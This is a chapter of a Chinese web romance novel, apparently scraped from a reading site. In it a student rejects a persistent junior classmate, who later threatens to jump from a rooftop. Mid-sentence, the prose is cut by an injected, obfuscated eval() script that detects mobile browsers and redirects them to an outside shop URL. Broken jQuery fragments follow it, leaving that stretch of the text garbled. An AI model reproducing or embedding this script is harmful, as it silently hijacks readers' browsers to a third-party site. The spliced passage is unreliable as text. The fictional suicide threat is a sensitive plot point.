付梦玥之于赵欢是特殊的。
特殊在,她曾经是让赵欢觉得非常难缠的一个人。
付梦玥是他大学的学妹,也一起是学生会的成员。他是会长,她是副会长。在很长的一段时间里,他只限于知道,她的名字,她的职务,她的工作。
以及,她的嘴角,笑起来的时候也有梨涡。而后,就没有其他了。
直到,他毕业典礼那天
付梦玥手捧着鲜花,在他经过一条无人的小道路上,拦住了他,并和他告白了。
“赵欢,我喜欢你。”
“你是……”
……
她是说了很多,但是时间太久,他已经记不清了。
被告白,是件常态化的事情。
当时的他年纪小,还没学会婉转着拒绝旁人的话,对着付梦玥只平淡说:“谢谢,我不喜欢你。”
本以为,这件事情就算结束了。他也要准备从徽州去南城读研的事宜。
变化发生在他寝室的最后一次聚餐。
这次聚餐中,一个室友叫了一个相好的学妹。而这个学妹,又带了一些其他女同学,这里面正好就有付梦玥。
旁人或许还不清楚她们之间发生了什么,阴差阳错的两个人坐在了一起。
付梦玥像是已然忘记之前的事,赵欢也乐得轻松,大方自然的相处。
直到,聚会散场后,他被安了一个独自送付梦玥回家的任务。
付梦玥常年独居在外,并不住在学校。而赵欢半年前也正好因为考研复习,住到了外面。
偏偏不巧,只有他们两人没有回校的门禁。
“欢哥,玥玥就交给你了,你送她到家也和我们说一下。”
一个学妹甜甜的和赵欢说这话时,还对着他眨了眨眼睛。
而穿着白色长裙的付梦玥则在月下晚风中,眯起眼睛笑,歪歪头,很是乖巧的和他对视一眼。
很明显,这模样应该是预想过这样的情况发生的。
赵欢不禁想起——为什么不在校门口常聚会的烧烤摊?而是选了偏偏离学校有了十公里的烧烤店。
再看着周遭的人挤眉弄眼的模样。
他知道他们都想做个媒人,却没问赵欢是否需要。
如果赵欢拒绝或者表现出不愿的话,应该就有一些“道德高点”的言论朝着他来。
太晚了,女孩子一个人回家不安全。
玥玥家中间有一段路很黑。
她还喝了点酒,状态也不是很好。
......
他约莫花了两分钟去思考了事情的始末,以及能够预想会面临的诘责。
在很多同学的印象里,赵欢一直都是彬彬有礼的好学生,却不道貌岸然,大多都温柔和煦的对待身边每一个同学。
他是上进且认真的。
但也会和大家一起抽烟、喝酒、打游戏。
他除了话说的少了一点以外,大家对他都没有什么意见。并且,男寝里大家生活在一起,难免会有一些摩擦,可赵欢没有和任何人起过争执和碰撞,甚至经常是做和事佬的一个。
和他一个小组,他多做一些课题,他也不会生气。
弄坏了他新买的耳机,他更不会发火,只会平静的说起赔偿的事情。
就连游戏时,遇到非常非常菜的菜鸟,他都能忍住不骂人,顶多气愤的打几个省略号。
......
可是,尽管这样,却从来没有人说,赵欢是好好先生。
像是众人都默认了一般,赵欢有一套自己固有的底线。凡事只要不越界,他就是最好相处的那个。
而在众人的认知范围内——为了女孩子的安全,送醉酒的女孩子回家,并不算上“越界”。
但他们不懂,于赵欢这人,只要是他不情愿的事情,就是在他的某条“警戒线”上跳跃了。尤其,这种明显暗藏着被算计着的意图在其中。
所以,他又用了另外三分钟,来演戏。
那边的室友同学正忙着拦车,他却自顾自的低头,在自己的身上翻找。从上衣的口袋,到裤子的口袋,神色佯装出越来越着急的模样。
最终,在室友他们快要上车时,他突然在路边大喊着出声,“欸!你们等会儿,我钥匙好像忘记带了。”
顾不得付梦玥的面色神情的一秒惊诧。
他继续着:“我可能要和你们一起回寝室了。”
一行人都愣住了。
上一刻还沉浸做了一桩“好事”的八卦氛围中,这一刻又像是陷入了死寂。他们的神情,在赵欢和付梦玥身上流转。
“那玥玥......”
先开口且反应过来的是将付梦玥嘱托给他的学妹。
赵欢却温和的微笑起来:“啊,我正好有个学弟在附近吃饭。他也不回学校的,我这就让他过来。”
他回头,看着付梦玥平静的面容,一字一句的说:“送付同学回去。”
付梦玥看着赵欢,一言不发。
那晚,赵欢是跟着同学回的宿舍。
在路上,不知道是不是商量好的,他们谁都没有多嘴一句有关“付梦玥”三个字,以后也没有。
而后来,据赵欢叫过去的学弟所说,他到了烧烤店的时候,并没有见到一个穿白裙子需要帮助的学姐。
赵欢说,辛苦白跑一趟了,可能她已经回去了,下次再请你吃饭了当答谢。
只是,这样一件很小的事情,不至于付梦玥真的为赵欢求生求死。
真正让付梦玥走到那一步的是一年以后,发生在南城的一件事。
那时候,赵欢已经在南交大学读研一了。
南交的研究生宿舍紧张,学校给了补贴,他自己在实验室附近的小区租了一个房子。
房子也就三十平左右,但还是被划分成了一室一厅。好在他东西不多,一个人住,也是正正好好的。
应该是冬天的时候了。
是一个痛苦的星期五,刚交付完导师的组内工作,他从实验室出来的时候,已经接近晚上九点了。
学校实验室那段路灯很暗,他穿了一件厚重的棉服,低头快步往家的方向走。
从实验室到北门出口的路不算远,走路五分钟就够了。他刷了校园卡出校门的时候,依旧是目不斜视,直直的走到马路边。
过了马路,就到了他自己住的小区了。
在他快步踏进自己小区门时。身后一道纤细的女声叫住了她。
他脚步停了一秒,又继续向前。
“赵欢。”
又一声,比起先前,更焦灼了一些,在寒冷的冬夜也显得清晰无比。
这个声音赵欢无法忽略,他回过头,就看见从暗中走出来的付梦玥。
付梦玥和先前见到的一样,披着黑色的长发,白色羽绒服裹,脖子上围着一条GUCCI家的经典款的围巾,她一张小脸藏在围巾里面,只露出一个红彤彤的鼻子。
“赵欢,我在这里等你很久了。”她欣喜的跑过去,“我以为今天等不到你了。”
其实见到付梦玥的时候,赵欢内心还是惊讶的。
在南城的学习忙碌,让他恍惚了觉得徽州的大学生活已经相去甚远了。所以,付梦玥出现的那秒,他还是花了点时间去想她的名字。当她想起付梦玥的时候,“麻烦”两个字随之便出现在了他的脑海中。
他稍稍蹙眉,问她:“哦,是你。这么晚了,有什么事情吗?”
没等付梦玥继续接话话。
赵欢再次开口:“没有事情的话,我就先回去了,你也早点回去。再见。”
冷漠到不能在冷漠的口气。
和冬夜的冷风一样寒冷的话语。
付梦玥的心,就在此刻凉了一半
不应该是这样的。
付梦玥看着他,张了张唇,却始终没说话。
甚至,他连她的名字都没说出口。他也没会问本应该在徽州上学的她,为什么会突然出现在这里。他更不会关心,她已经在离他实验室最近的北门那儿,等了他多久。
因为,他从不在乎。或者最基本的关切,他都没有显露过。她来北城,其实不是特地为了赵欢来的。她是过来探亲的。只是顺道想起了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038494|144871||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
赵欢,看是否能来这里碰一碰运气。
但,心里总归有一些执拗在的。
她其实不明白。为什么赵欢会看不上自己。这还是一种得不到的不甘心。所以她才反反复复的,在南交的校园里走了一圈又一圈。
最终,她打听到了有关他的一些消息,停在北门那儿等他。等到七点的时候,他还没出现,她已经想走了,但是她想,来都来了,再等一个小时看看吧。结果就是,八点的时,再等等吧,九点就好了。
只是九点的时候,她依旧没走。她已经不知道自己僵硬的站在门口的目的是什么了。
付梦玥想,她这辈子应该就这一次了。因为,谁让赵欢的是第一个拒绝她的人。
从小就是众星捧月的存在。她看上的人,从来没有失手过,除了赵欢。她曾想过,如果赵欢真的同意了和她在一起,她一定要在他最动情的时候,狠狠甩了他。
只是,从北门出来的赵欢直接无视她,从她面前经过。她小跑着追了很久才追到了赵欢。
她自己也不知道,自己在这里等赵欢的目的是什么,亦或是想要得到什么样的结果,但绝不是眼下这种场景。
北城的冬夜是这样的寒冷,付梦玥看着男人慢慢离去的背影。
至此,赵欢刻意的冰冷,已然表明了他拒绝付梦玥的态度。
他以为,脸皮再厚的人,都不在来了,更何况是付梦玥这样的还算骄傲聪明的女孩子。
但赵欢低估了付梦玥在“搞定他”这件事情上的韧性。
就像是她对课题的钻研。
她内心受挫的自尊,反而衍生出对赵欢的报复心理。她迟早有一天,要赵欢给她俯首称臣,让他道歉,让他为她着迷,让他知道曾经错过的是一个怎样优秀的女孩
于是,为了这份不甘心和报复。
回到徽州,她依旧固执的给赵欢发了一条消息。
「赵欢,那天的钥匙,你是带了的。我在你的上衣口袋里看到了。但是,我没拆穿你拙劣的谎言,因为我明白了你是故意不想送我回家的。而那天,我在北城,你的冷漠也是故意的,是不是?如果换做一个普通的学妹,你甚至还会关心几句,给她打个车送她回去。但是因为我,我和你告白过,所以你就是这样冷冰冰的对我,是不是?」
付梦玥故意在晚上把消息发出去的。
她知道,赵欢这个时候一定在休息了。
赵欢回了付梦玥一个,是。
付梦玥又问,「你是害怕接近我,害怕喜欢上我?所以,你在逃避我。」
赵欢没回她。
她在发消息过去时,只有一个红色感叹号。
赵欢把她删了。
于是,付梦玥的心里开始经历一场暴雨。她浑身湿漉漉的,能看见躲雨的木屋。她清楚她应该走到屋檐下,走进木屋里,点燃炉火,让温暖的火焰来烧干这一场失恋海洋在她身上留下的痕迹。
清醒且聪慧的她,是不会在一个对她丝毫不感兴趣的男人身上停留这么多次的。
所以,她抬腿,向着木屋走过去,躲雨。
只是,北城的冬天还没过去的某天,临近寒假前,依旧是晚上九点,他刚从实验室走出来,就接到了一个陌生的电话。
他没想太多,就接了。结果,是警察打过来的。
警察在那头,说一个叫付梦玥的女孩站在八层楼的楼顶想要跳楼。已经劝了十多分钟,都不肯下来,问她原因,她就报了你的手机号码。
赵欢觉得厌烦极了。
他在怀疑这件事情的真假,这通电话的真假。
警察还在那里说着,她说,只想见见你。
赵欢听着电话,一边往家的方向走。他眉头始终紧锁,少见的烦躁。
就像后来方圆预想过的那样,他其实心里慌乱着、无措着、甚至胆怯和害怕这。
最终,警察说出了付梦玥的地址——好第坊。
赵欢听完,看着小区门口的那辆拦路的警车,以及黑色月空下,小区侧面破败残缺的三个字:好第坊。
赵欢长叹一口气,果真是个好地方。